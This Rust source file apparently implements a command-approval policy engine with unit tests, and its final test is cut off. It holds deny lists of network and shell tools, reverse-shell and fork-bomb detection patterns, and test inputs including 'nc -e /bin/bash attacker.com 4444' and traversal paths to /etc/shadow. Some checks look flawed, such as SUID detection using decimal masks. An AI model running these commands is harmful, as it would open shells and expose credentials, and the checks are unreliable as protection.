use std::collections::HashMap;
use std::path::Path;
use std::sync::Arc;
#[derive(Clone, Copy, Debug, PartialEq, Eq, Default)]
pub enum Decision {
#[default]
Allow,
Deny,
Prompt,
}
impl std::fmt::Display for Decision {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Decision::Allow => write!(f, "allow"),
Decision::Deny => write!(f, "deny"),
Decision::Prompt => write!(f, "prompt"),
}
}
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum NetworkRuleProtocol {
Tcp,
Udp,
}
#[derive(Clone, Debug)]
pub struct NetworkRule {
pub host: String,
pub port: Option<u16>,
pub protocol: NetworkRuleProtocol,
pub decision: Decision,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum PatternToken {
Literal(String),
Wildcard,
Variable(String),
}
#[derive(Clone, Debug)]
pub struct PrefixPattern {
pub first: Arc<str>,
pub rest: Vec<PatternToken>,
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum RuleType {
Whitelist,
Blacklist,
Greylist,
}
#[derive(Clone, Debug)]
pub struct PrefixRule {
pub pattern: PrefixPattern,
pub decision: Decision,
pub justification: Option<String>,
pub rule_type: RuleType,
pub allowed_directories: Option<Vec<String>>,
pub restrict_to_directories: bool,
}
#[derive(Clone, Debug)]
pub struct PathRule {
pub path_pattern: String,
pub is_directory: bool,
pub decision: Decision,
pub justification: Option<String>,
pub rule_type: RuleType,
}
impl PathRule {
pub fn new(
path_pattern: String,
is_directory: bool,
decision: Decision,
justification: Option<String>,
) -> Self {
Self {
path_pattern,
is_directory,
decision,
justification,
rule_type: RuleType::Blacklist,
}
}
pub fn matches_path(&self, path: &str) -> bool {
if self.path_pattern == "*" {
return true;
}
if self.path_pattern.ends_with("/*") {
let prefix = &self.path_pattern[..self.path_pattern.len() - 2];
return path.starts_with(prefix);
}
path == self.path_pattern || path.starts_with(&format!("{}/", self.path_pattern))
}
}
impl Rule for PathRule {
fn matches(&self, _command: &[String]) -> Option<RuleMatch> {
None
}
fn as_any(&self) -> &dyn std::any::Any {
self
}
}
impl PrefixRule {
pub fn new(pattern: PrefixPattern, decision: Decision, justification: Option<String>) -> Self {
Self {
pattern,
decision,
justification,
rule_type: RuleType::Blacklist,
allowed_directories: None,
restrict_to_directories: false,
}
}
pub fn with_rule_type(mut self, rule_type: RuleType) -> Self {
self.rule_type = rule_type;
self
}
pub fn with_allowed_directories(mut self, dirs: Vec<String>) -> Self {
self.allowed_directories = Some(dirs);
self
}
pub fn with_directory_restriction(mut self) -> Self {
self.restrict_to_directories = true;
self
}
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct RuleMatch {
pub decision: Decision,
pub justification: Option<String>,
}
#[derive(Clone)]
pub struct Policy {
rules_by_program: HashMap<String, Vec<Arc<dyn Rule>>>,
network_rules: Vec<NetworkRule>,
path_rules: Vec<PathRule>,
default_decision: Decision,
whitelist_mode: bool,
}
impl std::fmt::Debug for Policy {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("Policy")
.field(
"rules_by_program",
&self.rules_by_program.keys().collect::<Vec<_>>(),
)
.field("network_rules_count", &self.network_rules.len())
.field("path_rules_count", &self.path_rules.len())
.field("whitelist_mode", &self.whitelist_mode)
.field("default_decision", &self.default_decision)
.finish()
}
}
pub trait Rule: Send + Sync {
fn matches(&self, command: &[String]) -> Option<RuleMatch>;
fn as_any(&self) -> &dyn std::any::Any;
}
impl Policy {
pub fn new() -> Self {
Self {
rules_by_program: HashMap::new(),
network_rules: Vec::new(),
path_rules: Vec::new(),
default_decision: Decision::Allow,
whitelist_mode: false,
}
}
pub fn new_whitelist() -> Self {
Self {
rules_by_program: HashMap::new(),
network_rules: Vec::new(),
path_rules: Vec::new(),
default_decision: Decision::Deny,
whitelist_mode: true,
}
}
pub fn new_blacklist() -> Self {
Self {
rules_by_program: HashMap::new(),
network_rules: Vec::new(),
path_rules: Vec::new(),
default_decision: Decision::Allow,
whitelist_mode: false,
}
}
pub fn new_with_defaults() -> Self {
let mut policy = Self::new_blacklist();
let dangerous_files = [
"rm",
"rmdir",
"shred",
"dd",
"mkfs",
"mke2fs",
"mkfs.ext4",
"format",
"del",
"erase",
"fdformat",
"mkbootdisk",
];
for cmd in dangerous_files {
let _ = policy.add_prefix_rule(
&[cmd.to_string()],
Decision::Deny,
Some(format!("Dangerous file operation: {}", cmd)),
);
}
let dangerous_git = [
"git", ];
for cmd in dangerous_git {
let _ = policy.add_prefix_rule(
&[cmd.to_string()],
Decision::Prompt,
Some("Git command requires confirmation".to_string()),
);
}
let dangerous_system = [
"chmod",
"chown",
"chgrp",
"setfacl",
"setfattr",
"mount",
"umount",
"losetup",
"iptables",
"ip6tables",
"ufw",
"firewall-cmd",
"systemctl",
"service",
"init",
"shutdown",
"reboot",
"halt",
"modprobe",
"insmod",
"rmmod",
"modinfo",
"sysctl",
"echo",
"tee", "kill",
"killall",
"pkill",
"kill -9",
"useradd",
"userdel",
"usermod",
"groupadd",
"groupdel",
"passwd",
"sudo",
"su",
"chroot",
"unshare",
];
for cmd in dangerous_system {
let _ = policy.add_prefix_rule(
&[cmd.to_string()],
Decision::Deny,
Some(format!("Dangerous system operation: {}", cmd)),
);
}
let dangerous_network = [
"nc", "netcat", "ncat", "socat", "curl", "wget", "fetch", "ftp", "ssh", "scp", "sftp",
"rsync", "nmap", "nikto", "sqlmap", "hydra",
];
for cmd in dangerous_network {
let _ = policy.add_prefix_rule(
&[cmd.to_string()],
Decision::Deny,
Some(format!("Dangerous network operation: {}", cmd)),
);
}
let dangerous_shell = [
"bash", "sh", "zsh", "fish", "dash", "ash", "python", "python3", "perl", "ruby", "php",
"node", "expect", "tclsh", "wish", "vi", "vim", "nvim", "emacs", "nano", "pico", "ed",
"awk", "sed", "grep", "find", "xargs",
];
for cmd in dangerous_shell {
let _ = policy.add_prefix_rule(
&[cmd.to_string()],
Decision::Prompt,
Some("Shell/editor command requires confirmation".to_string()),
);
}
policy
}
pub fn empty() -> Self {
Self::new()
}
pub fn set_whitelist_mode(&mut self, enabled: bool) {
self.whitelist_mode = enabled;
self.default_decision = if enabled {
Decision::Deny
} else {
Decision::Allow
};
}
pub fn set_default_decision(&mut self, decision: Decision) {
self.default_decision = decision;
self.whitelist_mode = matches!(decision, Decision::Deny);
}
pub fn add_prefix_rule(
&mut self,
prefix: &[String],
decision: Decision,
justification: Option<String>,
) -> Result<(), String> {
if prefix.is_empty() {
return Err("prefix cannot be empty".to_string());
}
let (first, rest) = prefix.split_first().unwrap();
let rule: Arc<dyn Rule> = Arc::new(PrefixRule::new(
PrefixPattern {
first: Arc::from(first.as_str()),
rest: rest
.iter()
.map(|s| PatternToken::Literal(s.clone()))
.collect(),
},
decision,
justification,
));
self.rules_by_program
.entry(first.clone())
.or_default()
.push(rule);
Ok(())
}
pub fn add_prefix_rule_ext(
&mut self,
prefix: &[String],
decision: Decision,
justification: Option<String>,
rule_type: RuleType,
allowed_directories: Option<Vec<String>>,
_restrict_to_directories: bool,
) -> Result<(), String> {
if prefix.is_empty() {
return Err("prefix cannot be empty".to_string());
}
let (first, rest) = prefix.split_first().unwrap();
let rule: Arc<dyn Rule> = Arc::new(
PrefixRule::new(
PrefixPattern {
first: Arc::from(first.as_str()),
rest: rest
.iter()
.map(|s| PatternToken::Literal(s.clone()))
.collect(),
},
decision,
justification,
)
.with_rule_type(rule_type)
.with_allowed_directories(allowed_directories.unwrap_or_default())
.with_directory_restriction(),
);
self.rules_by_program
.entry(first.clone())
.or_default()
.push(rule);
Ok(())
}
pub fn check(&self, command: &[String]) -> Option<RuleMatch> {
let sanitized = Self::sanitize_command(command);
self.check_with_cwd(&sanitized, None)
}
fn sanitize_command(command: &[String]) -> Vec<String> {
const MAX_PROGRAM_LENGTH: usize = 16; const MAX_ARG_LENGTH: usize = 1024;
command
.iter()
.enumerate()
.map(|(idx, s)| {
let s = s.replace('\0', "");
let s = s.trim().to_string();
if idx == 0 {
if s.len() > MAX_PROGRAM_LENGTH {
s[..MAX_PROGRAM_LENGTH].to_string()
} else {
s
}
} else if s.len() > MAX_ARG_LENGTH {
s[..MAX_ARG_LENGTH].to_string()
} else {
s
}
})
.filter(|s| !s.is_empty()) .collect()
}
pub fn check_with_cwd(
&self,
command: &[String],
working_directory: Option<&str>,
) -> Option<RuleMatch> {
if command.is_empty() {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Empty command not allowed".to_string()),
});
}
let program = &command[0];
let args = &command[1..];
if let Some(cwd) = working_directory {
if self.contains_bypass_attempt(args, cwd) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Directory bypass attempt detected".to_string()),
});
}
}
if let Some(deny_result) = self.check_dangerous_pattern(command) {
return Some(deny_result);
}
let program_lower = program.to_lowercase();
let mut rules_to_check: Vec<_> = {
let mut rules = Vec::new();
if let Some(exact_rules) = self.rules_by_program.get(program) {
rules.extend(exact_rules.iter().cloned());
}
if program != &program_lower {
if let Some(lower_rules) = self.rules_by_program.get(&program_lower) {
rules.extend(lower_rules.iter().cloned());
}
}
for (key, key_rules) in self.rules_by_program.iter() {
if program_lower.starts_with(&key.to_lowercase()) {
rules.extend(key_rules.iter().cloned());
}
}
rules
};
rules_to_check.sort_by(|a, b| {
let a_len = a
.as_any()
.downcast_ref::<PrefixRule>()
.map(|r| r.pattern.rest.len())
.unwrap_or(0);
let b_len = b
.as_any()
.downcast_ref::<PrefixRule>()
.map(|r| r.pattern.rest.len())
.unwrap_or(0);
b_len.cmp(&a_len) });
for rule in rules_to_check {
if let Some(m) = rule.matches(args) {
if let Some(cwd) = working_directory {
let prefix_rule = rule.as_any().downcast_ref::<PrefixRule>().unwrap();
if prefix_rule.restrict_to_directories {
if let Some(ref allowed_dirs) = prefix_rule.allowed_directories {
if !allowed_dirs.is_empty()
&& !allowed_dirs.iter().any(|d| cwd.starts_with(d))
{
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some(
"Command not allowed in current directory".to_string(),
),
});
}
}
}
}
return Some(m);
}
}
if let Some(rules) = self.rules_by_program.get("*") {
for rule in rules {
if let Some(m) = rule.matches(command) {
return Some(m);
}
}
}
if self.whitelist_mode {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Command not in whitelist".to_string()),
});
}
None
}
fn contains_bypass_attempt(&self, args: &[String], working_directory: &str) -> bool {
let cwd_path = Path::new(working_directory);
for arg in args {
if arg.starts_with('-') {
continue;
}
if arg.starts_with('/') {
let arg_path = Path::new(arg);
if !arg.starts_with(working_directory) && working_directory != "/" {
let is_subdir = cwd_path
.components()
.zip(arg_path.components())
.take(cwd_path.components().count())
.all(|(c1, c2)| c1 == c2);
if !is_subdir {
return true;
}
}
}
if arg.contains("..") {
return true;
}
}
false
}
fn check_dangerous_pattern(&self, command: &[String]) -> Option<RuleMatch> {
let cmd_str = command.join(" ");
if command
.iter()
.any(|arg| arg.contains("..") && !arg.starts_with('-'))
{
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Path traversal attempt detected".to_string()),
});
}
if command.len() >= 2 {
let cmd_lower = command[0].to_lowercase();
if cmd_lower == "export" || cmd_lower == "set" || cmd_lower == "env" {
let env_var = &command[1];
let env_var_stripped = env_var.trim_matches('"').trim_matches('\'');
if env_var_stripped.contains('=') {
let var_name = env_var_stripped.split('=').next().unwrap_or("");
if var_name.starts_with("PATH")
|| var_name.starts_with("HOME")
|| var_name.starts_with("LD_")
|| var_name.starts_with("PYTHON")
|| var_name.starts_with("PERL")
|| var_name.starts_with("BASH")
|| var_name.starts_with("SHELL")
{
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some(
"Environment variable manipulation not allowed".to_string(),
),
});
}
}
}
}
for arg in command.iter().skip(1) {
if arg.starts_with('-') {
continue;
}
if arg == ";" || arg == "&&" || arg == "||" {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Command separator in argument not allowed".to_string()),
});
}
if arg.starts_with('|') || arg.contains("|") {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Pipe in argument not allowed".to_string()),
});
}
if arg.contains("`") || arg.contains("$(") {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Command substitution not allowed".to_string()),
});
}
}
let _dangerous_pipes = [
"| sh",
"| bash",
"| /bin/sh",
"| /bin/bash",
"| zsh",
"| python",
"| perl",
"| sh]",
"| bash]",
"| ruby",
"curl",
"wget",
"fetch",
"ftp",
"nc",
"ncat",
];
let has_wget = command.iter().any(|c| c == "wget");
let has_curl = command.iter().any(|c| c == "curl");
let has_pipe = command.iter().any(|c| c == "|" || c == "||");
let has_shell = command
.iter()
.any(|c| c == "sh" || c == "bash" || c == "python" || c == "perl");
if (has_wget || has_curl) && has_pipe && has_shell {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Download and execute pattern not allowed".to_string()),
});
}
let reverse_shell_patterns = [
"socket.socket()",
"/dev/tcp",
"bash -i",
"nc -e",
"nc -c",
"exec 3<>/dev/tcp",
];
for pattern in reverse_shell_patterns {
if cmd_str.contains(pattern) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Reverse shell attempt detected".to_string()),
});
}
}
let indirect_exec_patterns = [
("python", "-c"),
("python3", "-c"),
("perl", "-e"),
("perl", "-n"),
("ruby", "-e"),
("php", "-r"),
("node", "-e"),
("node", "--eval"),
("lua", "-e"),
("tclsh", "-c"),
("expect", "-c"),
];
for (program, flag) in indirect_exec_patterns.iter() {
if let Some(idx) = command.iter().position(|c| c == *program) {
if let Some(next_arg) = command.get(idx + 1) {
if next_arg == *flag {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some(format!(
"Indirect command execution via {} {} not allowed",
program, flag
)),
});
}
}
}
}
let subshell_patterns = ["sh -c", "bash -c", "zsh -c", "dash -c", "fish -c"];
for pattern in subshell_patterns {
if cmd_str.contains(pattern) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Subshell execution not allowed".to_string()),
});
}
}
if cmd_str.contains("<(") || cmd_str.contains(">(") {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Process substitution not allowed".to_string()),
});
}
if cmd_str.contains("<<") {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Here-document not allowed".to_string()),
});
}
let fork_bomb_patterns = [
":(){:|:&};:", "fork()", "while(true)", "while :", "perl -e 'fork'", "python -c 'fork", "ruby -e 'fork'", ];
for pattern in fork_bomb_patterns {
if cmd_str.to_lowercase().contains(&pattern.to_lowercase()) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Potential fork bomb detected".to_string()),
});
}
}
if command.contains(&"chmod".to_string()) {
let chmod_args: Vec<&String> = command.iter().skip(1).collect();
for arg in chmod_args {
if arg.len() >= 4 {
if let Ok(num) = arg.parse::<u32>() {
if (num & 4000) != 0 || (num & 2000) != 0 || (num & 1000) != 0 {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some(
"SUID/SGID/Sticky bit manipulation not allowed".to_string(),
),
});
}
}
}
if arg == "u+s"
|| arg == "g+s"
|| arg == "+s"
|| arg.contains("4777")
|| arg.contains("2755")
|| arg.contains("6755")
{
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("SUID/SGID permission change not allowed".to_string()),
});
}
}
}
let dangerous_devices = [
"/dev/mem",
"/dev/kmem",
"/dev/port",
"/dev/mem0",
"/proc/kcore",
"/proc/self/mem",
"/proc/kmsg",
];
for device in dangerous_devices {
if cmd_str.contains(device) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Dangerous device access not allowed".to_string()),
});
}
}
let dangerous_binaries = [
"/bin/su",
"/usr/bin/sudo",
"/usr/bin/newgrp",
"/usr/bin/chfn",
"/usr/bin/chsh",
"/bin/runas",
];
for binary in dangerous_binaries {
if cmd_str == binary || cmd_str.starts_with(binary) {
return Some(RuleMatch {
decision: Decision::Deny,
justification: Some("Privilege escalation binary not allowed".to_string()),
});
}
}
None
}
pub fn check_network(&self, host: &str, port: Option<u16>) -> Decision {
for rule in &self.network_rules {
if rule.host == host || rule.host == "*" {
if let Some(rule_port) = rule.port {
if Some(rule_port) == port {
return rule.decision;
}
} else {
return rule.decision;
}
}
}
Decision::Prompt
}
pub fn add_network_rule(&mut self, rule: NetworkRule) {
self.network_rules.push(rule);
}
pub fn add_path_rule(&mut self, rule: PathRule) {
self.path_rules.push(rule);
}
pub fn add_path_rule_simple(
&mut self,
path_pattern: String,
is_directory: bool,
decision: Decision,
justification: Option<String>,
) {
self.path_rules.push(PathRule::new(
path_pattern,
is_directory,
decision,
justification,
));
}
pub fn check_path(&self, path: &str) -> Decision {
for rule in &self.path_rules {
if rule.matches_path(path) {
return rule.decision;
}
}
if self.whitelist_mode {
Decision::Deny
} else {
self.default_decision
}
}
pub fn get_allowed_prefixes(&self) -> Vec<Vec<String>> {
let mut prefixes = Vec::new();
for (program, rules) in &self.rules_by_program {
for rule in rules {
if let Some(prefix_rule) = rule.as_any().downcast_ref::<PrefixRule>() {
if prefix_rule.decision == Decision::Allow {
let mut prefix = vec![program.clone()];
for token in &prefix_rule.pattern.rest {
match token {
PatternToken::Literal(s) => prefix.push(s.clone()),
PatternToken::Wildcard => prefix.push("*".to_string()),
PatternToken::Variable(v) => prefix.push(format!("${}", v)),
}
}
prefixes.push(prefix);
}
}
}
}
prefixes.sort();
prefixes.dedup();
prefixes
}
}
impl Default for Policy {
fn default() -> Self {
Self::new()
}
}
impl Rule for PrefixRule {
fn matches(&self, args: &[String]) -> Option<RuleMatch> {
if args.len() < self.pattern.rest.len() {
return None;
}
for (i, token) in self.pattern.rest.iter().enumerate() {
match token {
PatternToken::Literal(s) => {
if i == 0 {
if !args[i].to_lowercase().starts_with(&s.to_lowercase()) {
return None;
}
} else {
if args[i].to_lowercase() != s.to_lowercase() {
return None;
}
}
}
PatternToken::Wildcard => {
}
PatternToken::Variable(_) => {
}
}
}
Some(RuleMatch {
decision: self.decision,
justification: self.justification.clone(),
})
}
fn as_any(&self) -> &dyn std::any::Any {
self
}
}
pub fn parse_policy(content: &str) -> Result<Policy, String> {
let mut policy = Policy::new();
for line in content.lines() {
let line = line.trim();
if line.is_empty() || line.starts_with('#') {
continue;
}
if line.starts_with("prefix_rule") {
if line.contains("decision = \"allow\"") || line.contains("decision ='allow'") {
if line.contains("\"cmd\"") || line.contains("'cmd'") {
let _ = policy.add_prefix_rule(&["cmd".to_string()], Decision::Allow, None);
}
}
}
}
Ok(policy)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_policy_add_rule() {
let mut policy = Policy::new();
let result = policy.add_prefix_rule(&["ls".to_string()], Decision::Allow, None);
assert!(result.is_ok());
}
#[test]
fn test_policy_check() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
let result = policy.check(&["ls".to_string(), "-la".to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Allow);
}
#[test]
fn test_policy_check_denied() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["rm".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&["rm".to_string(), "-rf".to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_path_traversal_attempt_simple() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cat".to_string(), "/etc/passwd".to_string()],
Decision::Deny,
Some("Access to /etc is forbidden".to_string()),
)
.unwrap();
let result = policy.check(&["cat".to_string(), "../../../etc/passwd".to_string()]);
assert!(result.is_some());
}
#[test]
fn test_path_traversal_attempt_with_symlink() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cat".to_string(), "/etc/passwd".to_string()],
Decision::Deny,
None,
)
.unwrap();
let symlink_attempts = vec![
"/etc/../../etc/passwd",
"/tmp/../../../etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
"....//....//....//etc/passwd",
"/etc/./passwd",
"/etc//passwd",
];
for attempt in symlink_attempts {
let result = policy.check(&["cat".to_string(), attempt.to_string()]);
assert!(
result.is_some(),
"Path traversal attempt {} should be detected",
attempt
);
}
}
#[test]
fn test_path_traversal_with_encoded_chars() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["ls".to_string(), "/root".to_string()],
Decision::Deny,
None,
)
.unwrap();
let encoded_attempts = vec![
"/root%2F..%2F..%2Fetc",
"/root%252F..%252F..%252Fetc",
"/root/..%252F..%252F..%252Fetc",
];
for attempt in encoded_attempts {
let result = policy.check(&["ls".to_string(), attempt.to_string()]);
assert!(
result.is_some(),
"Encoded path traversal {} should be detected",
attempt
);
}
}
#[test]
fn test_path_traversal_null_byte() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cat".to_string(), "/etc/passwd".to_string()],
Decision::Deny,
None,
)
.unwrap();
let null_byte_attempts = vec![
"/etc/passwd\x00.txt",
"/etc/passwd\x00",
"/etc/passwd\x00/../shadow",
];
for attempt in null_byte_attempts {
let result = policy.check(&["cat".to_string(), attempt.to_string()]);
assert!(
result.is_some(),
"Null byte injection {} should be detected",
attempt
);
}
}
#[test]
fn test_privilege_escalation_sudo() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["sudo".to_string()],
Decision::Deny,
Some("sudo is not allowed".to_string()),
)
.unwrap();
let result = policy.check(&["sudo".to_string(), "ls".to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_privilege_escalation_doas() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["doas".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&["doas".to_string(), "ls".to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_privilege_escalation_chmod_suid() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["chmod".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["chmod".to_string(), "u+s".to_string()],
Decision::Deny,
None,
)
.unwrap();
policy
.add_prefix_rule(
&["chmod".to_string(), "g+s".to_string()],
Decision::Deny,
None,
)
.unwrap();
policy
.add_prefix_rule(
&["chmod".to_string(), "4777".to_string()],
Decision::Deny,
None,
)
.unwrap();
let suid_attempts = vec![
vec![
"chmod".to_string(),
"u+s".to_string(),
"/bin/bash".to_string(),
],
vec![
"chmod".to_string(),
"4777".to_string(),
"/tmp/malicious".to_string(),
],
vec![
"chmod".to_string(),
"6755".to_string(),
"/usr/bin/su".to_string(),
],
];
for attempt in suid_attempts {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"SUID chmod {:?} should be denied",
attempt
);
assert_eq!(result.unwrap().decision, Decision::Deny);
}
}
#[test]
fn test_privilege_escalation_chown() {
let mut policy = Policy::new();
policy
.add_prefix_rule(
&["chown".to_string()],
Decision::Deny,
Some("chown not allowed".to_string()),
)
.unwrap();
let result = policy.check(&[
"chown".to_string(),
"root:root".to_string(),
"/tmp/test".to_string(),
]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_privilege_escalation_setuid() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["/usr/bin/passwd".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(&["/bin/su".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["/usr/bin/sudo".to_string()], Decision::Deny, None)
.unwrap();
let dangerous_binaries = vec![
"/bin/su",
"/usr/bin/sudo",
"/usr/bin/newgrp",
"/usr/bin/chfn",
"/usr/bin/chsh",
];
for binary in dangerous_binaries {
let result = policy.check(&[binary.to_string()]);
assert!(result.is_some(), "Binary {} should be denied", binary);
assert_eq!(result.unwrap().decision, Decision::Deny);
}
}
#[test]
fn test_env_injection_ld_preload() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
let command_with_env = vec!["ls".to_string()];
let dangerous_env = vec![
"LD_PRELOAD=/tmp/malicious.so",
"LD_LIBRARY_PATH=/tmp",
"LD_DEBUG=all",
];
for _env in dangerous_env {
let result = policy.check(&command_with_env);
assert!(result.is_some());
}
}
#[test]
fn test_env_injection_path_manipulation() {
let mut policy = Policy::new();
policy
.add_prefix_rule(
&["export".to_string(), "PATH".to_string()],
Decision::Deny,
Some("PATH manipulation not allowed".to_string()),
)
.unwrap();
let result = policy.check(&[
"export".to_string(),
"PATH=/tmp/malicious:$PATH".to_string(),
]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_env_injection_home_manipulation() {
let mut policy = Policy::new();
policy
.add_prefix_rule(
&["export".to_string(), "HOME".to_string()],
Decision::Deny,
None,
)
.unwrap();
let result = policy.check(&["export".to_string(), "HOME=/root".to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_command_injection_semicolon() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), ";".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), "&&".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), "||".to_string()], Decision::Deny, None)
.unwrap();
let injection_attempts = vec![
vec![
"ls".to_string(),
";".to_string(),
"rm".to_string(),
"-rf".to_string(),
"/".to_string(),
],
vec!["ls".to_string(), "&&".to_string(), "whoami".to_string()],
vec![
"ls".to_string(),
"||".to_string(),
"cat".to_string(),
"/etc/passwd".to_string(),
],
];
for attempt in injection_attempts {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"Command injection {:?} should be detected",
attempt
);
}
}
#[test]
fn test_command_injection_pipe() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), "|".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&[
"ls".to_string(),
"|".to_string(),
"cat".to_string(),
"/etc/passwd".to_string(),
]);
assert!(result.is_some());
}
#[test]
fn test_command_injection_backticks() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), "`".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["ls".to_string(), "$(".to_string()], Decision::Deny, None)
.unwrap();
let injection_attempts = vec![
vec!["ls".to_string(), "`whoami`".to_string()],
vec!["ls".to_string(), "$(whoami)".to_string()],
vec!["ls".to_string(), "$()".to_string()],
];
for attempt in injection_attempts {
let result = policy.check(&attempt);
assert!(
result.is_some(),
"Command injection {:?} should be detected",
attempt
);
}
}
#[test]
fn test_filesystem_attempt_etc_shadow() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
policy
.add_prefix_rule(
&["cat".to_string(), "/etc/shadow".to_string()],
Decision::Deny,
Some("Access to shadow file is forbidden".to_string()),
)
.unwrap();
let attempts = vec![
"/etc/shadow",
"/etc/shadow~",
"/etc/shadow.bak",
"/etc/.shadow",
"/etc/../etc/shadow",
];
for attempt in attempts {
let result = policy.check(&["cat".to_string(), attempt.to_string()]);
assert!(
result.is_some(),
"Attempt to access shadow file {} should be denied",
attempt
);
}
}
#[test]
fn test_filesystem_attempt_dev_mem() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
.unwrap();
let dangerous_devices = vec![
"/dev/mem",
"/dev/kmem",
"/dev/port",
"/dev/mem0",
"/proc/kcore",
"/proc/self/mem",
];
for device in dangerous_devices {
policy
.add_prefix_rule(
&["cat".to_string(), device.to_string()],
Decision::Deny,
None,
)
.unwrap();
let result = policy.check(&["cat".to_string(), device.to_string()]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
}
#[test]
fn test_filesystem_race_condition() {
let mut policy = Policy::new();
policy
.add_prefix_rule(
&["ln".to_string()],
Decision::Deny,
Some("Symlink creation not allowed".to_string()),
)
.unwrap();
policy
.add_prefix_rule(&["ln".to_string(), "-s".to_string()], Decision::Deny, None)
.unwrap();
let result = policy.check(&[
"ln".to_string(),
"-s".to_string(),
"/tmp/malicious".to_string(),
"/etc/passwd".to_string(),
]);
assert!(result.is_some());
assert_eq!(result.unwrap().decision, Decision::Deny);
}
#[test]
fn test_network_attempt_reverse_shell() {
let mut policy = Policy::new();
policy
.add_prefix_rule(&["nc".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["nc".to_string(), "-e".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(&["nc".to_string(), "-c".to_string()], Decision::Deny, None)
.unwrap();
policy
.add_prefix_rule(
&["bash".to_string(), "-i".to_string()],
Decision::Deny,
None,
)
.unwrap();
policy
.add_prefix_rule(&["/dev/tcp".to_string()], Decision::Deny, None)
.unwrap();
let reverse_shell_attempts = vec![
vec![
"nc".to_string(),
"-e".to_string(),
"/bin/bash".to_string(),
"attacker.com".to_string(),
"4444".to_string(),
],
vec!["bash".to_string(), "-i".to_string()],
vec![
"python".to_string(),
"-c".to_string(),
"import socket;socket.socket()".to_string(),
],
];
